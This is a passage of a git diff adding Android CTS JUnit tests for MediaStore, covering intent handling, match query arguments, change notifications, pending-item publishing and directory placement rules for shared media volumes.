+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
+ mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ }
+
+ public void assertCanBeHandled(Intent intent) {
+ List<ResolveInfo> resolveInfoList = InstrumentationRegistry.getTargetContext()
+ .getPackageManager().queryIntentActivities(intent, 0);
+ assertNotNull("Missing ResolveInfo", resolveInfoList);
+ assertTrue("No ResolveInfo found for " + intent.toString(),
+ resolveInfoList.size() > 0);
+ }
+
+ @Test
+ public void testPickImageDir() {
+ Intent intent = new Intent(Intent.ACTION_PICK);
+ intent.setData(mExternalImages);
+ assertCanBeHandled(intent);
+ }
+
+ @Test
+ public void testPickVideoDir() {
+ Intent intent = new Intent(Intent.ACTION_PICK);
+ intent.setData(mExternalVideo);
+ assertCanBeHandled(intent);
+ }
+
+ @Test
+ public void testPickAudioDir() {
+ Intent intent = new Intent(Intent.ACTION_PICK);
+ intent.setData(mExternalAudio);
+ assertCanBeHandled(intent);
+ }
+
+ @Test
+ public void testViewImageDir() {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.setData(mExternalImages);
+ assertCanBeHandled(intent);
+ }
+
+ @Test
+ public void testViewVideoDir() {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.setData(mExternalVideo);
+ assertCanBeHandled(intent);
+ }
+
+ @Test
+ public void testViewImageFile() {
+ final String[] schemes = new String[] {
+ "file", "http", "https", "content" };
+ final String[] mimes = new String[] {
+ "image/bmp", "image/jpeg", "image/png", "image/gif", "image/webp",
+ "image/x-adobe-dng", "image/x-canon-cr2", "image/x-nikon-nef", "image/x-nikon-nrw",
+ "image/x-sony-arw", "image/x-panasonic-rw2", "image/x-olympus-orf",
+ "image/x-fuji-raf", "image/x-pentax-pef", "image/x-samsung-srw" };
+
+ for (String scheme : schemes) {
+ for (String mime : mimes) {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ final Uri uri = new Uri.Builder().scheme(scheme)
+ .authority("example.com").path("image").build();
+ intent.setDataAndType(uri, mime);
+ assertCanBeHandled(intent);
+ }
+ }
+ }
+
+ @Test
+ public void testViewVideoFile() {
+ final String[] schemes = new String[] {
+ "file", "http", "https", "content" };
+ final String[] mimes = new String[] {
+ "video/mpeg4", "video/mp4", "video/3gp", "video/3gpp", "video/3gpp2",
+ "video/webm" };
+
+ for (String scheme : schemes) {
+ for (String mime : mimes) {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ final Uri uri = new Uri.Builder().scheme(scheme)
+ .authority("example.com").path("video").build();
+ intent.setDataAndType(uri, mime);
+ assertCanBeHandled(intent);
+ }
+ }
+ }
+
+ @Test
+ public void testViewAudioFile() {
+ final String[] schemes = new String[] {
+ "file", "http", "content" };
+ final String[] mimes = new String[] {
+ "audio/mpeg", "audio/mp4", "audio/ogg", "audio/webm", "application/ogg",
+ "application/x-ogg" };
+
+ for (String scheme : schemes) {
+ for (String mime : mimes) {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ final Uri uri = new Uri.Builder().scheme(scheme)
+ .authority("example.com").path("audio").build();
+ intent.setDataAndType(uri, mime);
+ assertCanBeHandled(intent);
+ }
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
new file mode 100644
index 0000000..49e6150
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreMatchTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.containsId;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStoreMatchTest {
+ private Context mContext;
+ private ContentResolver mResolver;
+
+ private Uri mExternalImages;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testMatch_Pending() throws Exception {
+ verifyMatch(MediaColumns.IS_PENDING, MediaStore.QUERY_ARG_MATCH_PENDING);
+ }
+
+ @Test
+ public void testMatch_Trashed() throws Exception {
+ verifyMatch(MediaColumns.IS_TRASHED, MediaStore.QUERY_ARG_MATCH_TRASHED);
+ }
+
+ @Test
+ public void testMatch_Favorite() throws Exception {
+ verifyMatch(MediaColumns.IS_FAVORITE, MediaStore.QUERY_ARG_MATCH_FAVORITE);
+ }
+
+ private void verifyMatch(String columnName, String queryArg) throws Exception {
+ final Uri pos = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+ final Uri neg = ProviderTestUtils.stageMedia(R.raw.scenery, mExternalImages);
+
+ final ContentValues values = new ContentValues();
+ values.put(columnName, 1);
+ mResolver.update(pos, values, null);
+ values.put(columnName, 0);
+ mResolver.update(neg, values, null);
+
+ final long posId = ContentUris.parseId(pos);
+ final long negId = ContentUris.parseId(neg);
+
+ final Bundle extras = new Bundle();
+ extras.putInt(queryArg, MediaStore.MATCH_INCLUDE);
+ assertTrue(containsId(mExternalImages, extras, posId));
+ assertTrue(containsId(mExternalImages, extras, negId));
+
+ extras.putInt(queryArg, MediaStore.MATCH_EXCLUDE);
+ assertFalse(containsId(mExternalImages, extras, posId));
+ assertTrue(containsId(mExternalImages, extras, negId));
+
+ extras.putInt(queryArg, MediaStore.MATCH_ONLY);
+ assertTrue(containsId(mExternalImages, extras, posId));
+ assertFalse(containsId(mExternalImages, extras, negId));
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
new file mode 100644
index 0000000..e227759
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.provider.MediaStore;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(Parameterized.class)
+public class MediaStoreNotificationTest {
+ private Context mContext;
+ private ContentResolver mResolver;
+
+ private Uri mSpecificImages;
+ private Uri mSpecificFiles;
+ private Uri mGenericImages;
+ private Uri mGenericFiles;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext());
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mSpecificImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ mSpecificFiles = MediaStore.Files.getContentUri(mVolumeName);
+ mGenericImages = MediaStore.Images.Media.getContentUri(MediaStore.VOLUME_EXTERNAL);
+ mGenericFiles = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+ }
+
+ @Test
+ public void testSimple() throws Exception {
+ Uri specificImage;
+ Uri specificFile;
+ Uri genericImage;
+ Uri genericFile;
+
+ try (BlockingObserver si = BlockingObserver.createAndRegister(mSpecificImages);
+ BlockingObserver sf = BlockingObserver.createAndRegister(mSpecificFiles);
+ BlockingObserver gi = BlockingObserver.createAndRegister(mGenericImages);
+ BlockingObserver gf = BlockingObserver.createAndRegister(mGenericFiles)) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.Images.Media.IS_PENDING, 1);
+ values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+ values.put(MediaStore.Images.Media.DISPLAY_NAME, "cts" + System.nanoTime());
+ specificImage = mResolver.insert(mSpecificImages, values);
+
+ final long id = ContentUris.parseId(specificImage);
+ specificFile = ContentUris.withAppendedId(mSpecificFiles, id);
+ genericImage = ContentUris.withAppendedId(mGenericImages, id);
+ genericFile = ContentUris.withAppendedId(mGenericFiles, id);
+ }
+
+ try (BlockingObserver si = BlockingObserver.createAndRegister(specificImage);
+ BlockingObserver sf = BlockingObserver.createAndRegister(specificFile);
+ BlockingObserver gi = BlockingObserver.createAndRegister(genericImage);
+ BlockingObserver gf = BlockingObserver.createAndRegister(genericFile)) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.Images.Media.SIZE, 32);
+ mResolver.update(specificImage, values, null, null);
+ }
+
+ try (BlockingObserver si = BlockingObserver.createAndRegister(specificImage);
+ BlockingObserver sf = BlockingObserver.createAndRegister(specificFile);
+ BlockingObserver gi = BlockingObserver.createAndRegister(genericImage);
+ BlockingObserver gf = BlockingObserver.createAndRegister(genericFile)) {
+ mResolver.delete(specificImage, null, null);
+ }
+ }
+
+ @Test
+ @Ignore("b/139110347")
+ public void testCursor() throws Exception {
+ try (Cursor si = mResolver.query(mSpecificImages, null, null, null);
+ Cursor sf = mResolver.query(mSpecificFiles, null, null, null);
+ Cursor gi = mResolver.query(mGenericImages, null, null, null);
+ Cursor gf = mResolver.query(mGenericFiles, null, null, null)) {
+ try (BlockingObserver sio = BlockingObserver.create();
+ BlockingObserver sfo = BlockingObserver.create();
+ BlockingObserver gio = BlockingObserver.create();
+ BlockingObserver gfo = BlockingObserver.create()) {
+ si.registerContentObserver(sio);
+ sf.registerContentObserver(sfo);
+ gi.registerContentObserver(gio);
+ gf.registerContentObserver(gfo);
+
+ // Insert a simple item that will trigger notifications
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.Images.Media.IS_PENDING, 1);
+ values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+ values.put(MediaStore.Images.Media.DISPLAY_NAME, "cts" + System.nanoTime());
+ final Uri uri = mResolver.insert(mSpecificImages, values);
+ mResolver.delete(uri, null, null);
+ }
+ }
+ }
+
+ private static class BlockingObserver extends ContentObserver implements AutoCloseable {
+ private final Uri mUri;
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+
+ private static HandlerThread sHandlerThread;
+ private static Handler sHandler;
+
+ static {
+ sHandlerThread = new HandlerThread(TAG);
+ sHandlerThread.start();
+ sHandler = new Handler(sHandlerThread.getLooper());
+ }
+
+ private BlockingObserver(Uri uri) {
+ super(sHandler);
+ mUri = uri;
+ }
+
+ public static BlockingObserver create() {
+ return new BlockingObserver(null);
+ }
+
+ public static BlockingObserver createAndRegister(Uri uri) {
+ final BlockingObserver obs = new BlockingObserver(uri);
+ InstrumentationRegistry.getTargetContext().getContentResolver()
+ .registerContentObserver(uri, true, obs);
+ return obs;
+ }
+
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ super.onChange(selfChange, uri);
+ Log.v(TAG, "Notified about " + uri);
+ mLatch.countDown();
+ }
+
+ @Override
+ public void close() {
+ try {
+ if (!mLatch.await(5, TimeUnit.SECONDS)) {
+ throw new InterruptedException();
+ }
+ } catch (InterruptedException e) {
+ throw new IllegalStateException("Failed to get notification for " + mUri);
+ } finally {
+ InstrumentationRegistry.getTargetContext().getContentResolver()
+ .unregisterContentObserver(this);
+ }
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
new file mode 100644
index 0000000..961d998
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.containsId;
+import static android.provider.cts.ProviderTestUtils.getRawFile;
+import static android.provider.cts.ProviderTestUtils.getRawFileHash;
+import static android.provider.cts.ProviderTestUtils.hash;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.google.common.base.Objects;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.file.NoSuchFileException;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(Parameterized.class)
+public class MediaStorePendingTest {
+ private Context mContext;
+ private ContentResolver mResolver;
+
+ private Uri mExternalAudio;
+ private Uri mExternalVideo;
+ private Uri mExternalImages;
+ private Uri mExternalDownloads;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
+ mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testSimple_Success() throws Exception {
+ verifySuccessfulImageInsertion(mExternalImages, Environment.DIRECTORY_PICTURES);
+ }
+
+ @Test
+ public void testSimpleDownload_Success() throws Exception {
+ verifySuccessfulImageInsertion(mExternalDownloads, Environment.DIRECTORY_DOWNLOADS);
+ }
+
+ private void verifySuccessfulImageInsertion(Uri insertUri, String expectedDestDir)
+ throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+
+ final PendingParams params = new PendingParams(
+ insertUri, displayName, "image/png");
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final long id = ContentUris.parseId(pendingUri);
+
+ // Verify pending status across various queries
+ try (Cursor c = mResolver.query(pendingUri,
+ new String[] { MediaColumns.IS_PENDING }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertEquals(1, c.getInt(0));
+ }
+ assertFalse(containsId(insertUri, id));
+ assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
+
+ // Write an image into place
+ final Uri publishUri;
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+ OutputStream out = session.openOutputStream()) {
+ FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ }
+
+ // Verify pending status across various queries
+ try (Cursor c = mResolver.query(publishUri,
+ new String[] { MediaColumns.IS_PENDING }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertEquals(0, c.getInt(0));
+ }
+ assertTrue(containsId(insertUri, id));
+ assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
+
+ // Make sure our raw filename looks sane
+ final File rawFile = getRawFile(publishUri);
+ assertEquals(displayName + ".png", rawFile.getName());
+ assertEquals(expectedDestDir, rawFile.getParentFile().getName());
+
+ // Make sure file actually exists
+ getRawFileHash(rawFile);
+ try (InputStream in = mResolver.openInputStream(publishUri)) {
+ }
+ }
+
+ @Test
+ public void testSimple_Abandoned() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+
+ final Uri insertUri = mExternalImages;
+ final PendingParams params = new PendingParams(
+ insertUri, displayName, "image/png");
+
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ final File pendingFile;
+
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+ OutputStream out = session.openOutputStream()) {
+ FileUtils.copy(in, out);
+ }
+
+ // Pending file should exist
+ pendingFile = getRawFile(pendingUri);
+ getRawFileHash(pendingFile);
+
+ session.abandon();
+ }
+
+ // Should have no record of abandoned item
+ try (Cursor c = mResolver.query(pendingUri,
+ new String[] { MediaColumns.IS_PENDING }, null, null)) {
+ assertFalse(c.moveToNext());
+ }
+
+ // Pending file should be gone
+ try {
+ getRawFileHash(pendingFile);
+ fail();
+ } catch (NoSuchFileException expected) {
+ }
+ }
+
+ @Test
+ public void testDuplicates() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+
+ final Uri insertUri = mExternalAudio;
+ final PendingParams params1 = new PendingParams(
+ insertUri, displayName, "audio/mpeg");
+ final PendingParams params2 = new PendingParams(
+ insertUri, displayName, "audio/mpeg");
+
+ final Uri publishUri1 = execPending(params1, R.raw.testmp3);
+ final Uri publishUri2 = execPending(params2, R.raw.testmp3_2);
+
+ // Make sure both files landed with unique filenames, and that we didn't
+ // cross the streams
+ final File rawFile1 = getRawFile(publishUri1);
+ final File rawFile2 = getRawFile(publishUri2);
+ assertFalse(Objects.equal(rawFile1, rawFile2));
+
+ assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3)),
+ hash(mResolver.openInputStream(publishUri1)));
+ assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3_2)),
+ hash(mResolver.openInputStream(publishUri2)));
+ }
+
+ @Test
+ public void testMimeTypes() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+
+ assertCreatePending(new PendingParams(mExternalAudio, displayName, "audio/ogg"));
+ assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "video/ogg"));
+ assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "image/png"));
+
+ assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "audio/ogg"));
+ assertCreatePending(new PendingParams(mExternalVideo, displayName, "video/ogg"));
+ assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "image/png"));
+
+ assertNotCreatePending(new PendingParams(mExternalImages, displayName, "audio/ogg"));
+ assertNotCreatePending(new PendingParams(mExternalImages, displayName, "video/ogg"));
+ assertCreatePending(new PendingParams(mExternalImages, displayName, "image/png"));
+
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName, "audio/ogg"));
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName, "video/ogg"));
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName, "image/png"));
+ assertCreatePending(new PendingParams(mExternalDownloads, displayName,
+ "application/pdf"));
+ }
+
+ @Test
+ public void testMimeTypes_Forced() throws Exception {
+ {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri uri = execPending(new PendingParams(mExternalImages,
+ displayName, "image/png"), R.raw.scenery);
+ assertEquals(displayName + ".png", getRawFile(uri).getName());
+ }
+ {
+ final String displayName = "cts" + System.nanoTime() + ".png";
+ final Uri uri = execPending(new PendingParams(mExternalImages,
+ displayName, "image/png"), R.raw.scenery);
+ assertEquals(displayName, getRawFile(uri).getName());
+ }
+ {
+ final String displayName = "cts" + System.nanoTime() + ".jpg";
+ final Uri uri = execPending(new PendingParams(mExternalImages,
+ displayName, "image/png"), R.raw.scenery);
+ assertEquals(displayName + ".png", getRawFile(uri).getName());
+ }
+ }
+
+ @Test
+ public void testDirectories() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+
+ final Set<String> allowedAudio = new HashSet<>(
+ Arrays.asList(Environment.DIRECTORY_MUSIC, Environment.DIRECTORY_RINGTONES,
+ Environment.DIRECTORY_NOTIFICATIONS, Environment.DIRECTORY_PODCASTS,
+ Environment.DIRECTORY_ALARMS));
+ final Set<String> allowedVideo = new HashSet<>(
+ Arrays.asList(Environment.DIRECTORY_MOVIES, Environment.DIRECTORY_DCIM));
+ final Set<String> allowedImages = new HashSet<>(
+ Arrays.asList(Environment.DIRECTORY_PICTURES, Environment.DIRECTORY_DCIM));
+ final Set<String> allowedDownloads = new HashSet<>(
+ Arrays.asList(Environment.DIRECTORY_DOWNLOADS));
+
+ final Set<String> everything = new HashSet<>();
+ everything.addAll(allowedAudio);
+ everything.addAll(allowedVideo);
+ everything.addAll(allowedImages);
+ everything.addAll(allowedDownloads);
+ everything.add(Environment.DIRECTORY_DOCUMENTS);
+
+ {
+ final PendingParams params = new PendingParams(mExternalAudio,
+ displayName, "audio/ogg");
+ for (String dir : everything) {
+ params.setPath(dir);
+ if (allowedAudio.contains(dir)) {
+ assertCreatePending(params);
+ } else {
+ assertNotCreatePending(dir, params);
+ }
+ }
+ }
+ {
+ final PendingParams params = new PendingParams(mExternalVideo,
+ displayName, "video/ogg");
+ for (String dir : everything) {
+ params.setPath(dir);
+ if (allowedVideo.contains(dir)) {
+ assertCreatePending(params);
+ } else {
+ assertNotCreatePending(dir, params);
+ }
+ }
+ }
+ {
+ final PendingParams params = new PendingParams(mExternalImages,
+ displayName, "image/png");
+ for (String dir : everything) {
+ params.setPath(dir);
+ if (allowedImages.contains(dir)) {
+ assertCreatePending(params);
+ } else {
+ assertNotCreatePending(dir, params);
+ }
+ }
+ }
+ {
+ final PendingParams params = new PendingParams(mExternalDownloads,
+ displayName, "video/ogg");
+ for (String dir : everything) {
+ params.setPath(dir);
+ if (allowedDownloads.contains(dir)) {
+ assertCreatePending(params);
+ } else {
+ assertNotCreatePending(dir, params);
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testDirectories_Defaults() throws Exception {
+ {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri uri = execPending(new PendingParams(mExternalImages,
+ displayName, "image/png"), R.raw.scenery);
+ assertEquals(Environment.DIRECTORY_PICTURES, getRawFile(uri).getParentFile().getName());
+ }
+ {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri uri = execPending(new PendingParams(mExternalAudio,
+ displayName, "audio/ogg"), R.raw.scenery);
+ assertEquals(Environment.DIRECTORY_MUSIC, getRawFile(uri).getParentFile().getName());
+ }
+ {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri uri = execPending(new PendingParams(mExternalVideo,
+ displayName, "video/ogg"), R.raw.scenery);
+ assertEquals(Environment.DIRECTORY_MOVIES, getRawFile(uri).getParentFile().getName());
+ }
+ {
+ final String displayName = "cts" + System.nanoTime();
+ final Uri uri = execPending(new PendingParams(mExternalDownloads,
+ displayName, "image/png"), R.raw.scenery);
+ assertEquals(Environment.DIRECTORY_DOWNLOADS,
+ getRawFile(uri).getParentFile().getName());
+ }
+ }
+
+ @Test
+ public void testDirectories_Primary() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
+ params.setPath(Environment.DIRECTORY_DCIM);
+
+ final Uri uri = execPending(params, R.raw.scenery);
+ assertEquals(Environment.DIRECTORY_DCIM, getRawFile(uri).getParentFile().getName());
+
+ // Verify that shady paths don't work
+ params.setPath("foo/../bar");
+ assertNotCreatePending(params);
+ }
+
+ @Test
+ public void testDirectories_PrimarySecondary() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
+ params.setPath("DCIM/Kittens");
+
+ final Uri uri = execPending(params, R.raw.scenery);
+ final File rawFile = getRawFile(uri);
+ assertEquals("Kittens", rawFile.getParentFile().getName());
+ assertEquals(Environment.DIRECTORY_DCIM, rawFile.getParentFile().getParentFile().getName());
+ }
+
+ @Test
+ public void testMutableColumns() throws Exception {
+ // Stage pending content
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.MIME_TYPE, "image/png");
+ values.put(MediaColumns.IS_PENDING, 1);
+ values.put(MediaColumns.HEIGHT, 32);
+ final Uri uri = mResolver.insert(mExternalImages, values);
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+ OutputStream out = mResolver.openOutputStream(uri)) {
+ FileUtils.copy(in, out);
+ }
+
+ // Verify that initial values are present
+ try (Cursor c = mResolver.query(uri, null, null, null)) {
+ c.moveToFirst();
+ assertEquals(32, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+ }
+
+ // Verify that we can update values while pending
+ values.clear();
+ values.put(MediaColumns.HEIGHT, 64);
+ mResolver.update(uri, values, null, null);
+ try (Cursor c = mResolver.query(uri, null, null, null)) {
+ c.moveToFirst();
+ assertEquals(64, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+ }
+
+ // Publishing triggers scan of underlying file
+ values.clear();
+ values.put(MediaColumns.IS_PENDING, 0);
+ mResolver.update(uri, values, null, null);
+ try (Cursor c = mResolver.query(uri, null, null, null)) {
+ c.moveToFirst();
+ assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+ }
+
+ // Ignored now that we're published
+ values.clear();
+ values.put(MediaColumns.HEIGHT, 48);
+ mResolver.update(uri, values, null, null);
+ try (Cursor c = mResolver.query(uri, null, null, null)) {
+ c.moveToFirst();
+ assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
+ }
+ }
+
+ private void assertCreatePending(PendingParams params) {
+ MediaStoreUtils.createPending(mContext, params);
+ }
+
+ private void assertNotCreatePending(PendingParams params) {
+ assertNotCreatePending(null, params);
+ }
+
+ private void assertNotCreatePending(String message, PendingParams params) {
+ try {
+ MediaStoreUtils.createPending(mContext, params);
+ fail(message);
+ } catch (Exception expected) {
+ }
+ }
+
+ private Uri execPending(PendingParams params, int resId) throws Exception {
+ final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+ try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+ try (InputStream in = mContext.getResources().openRawResource(resId);
+ OutputStream out = session.openOutputStream()) {
+ FileUtils.copy(in, out);
+ }
+ return session.publish();
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
new file mode 100644
index 0000000..a2c6fd6
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
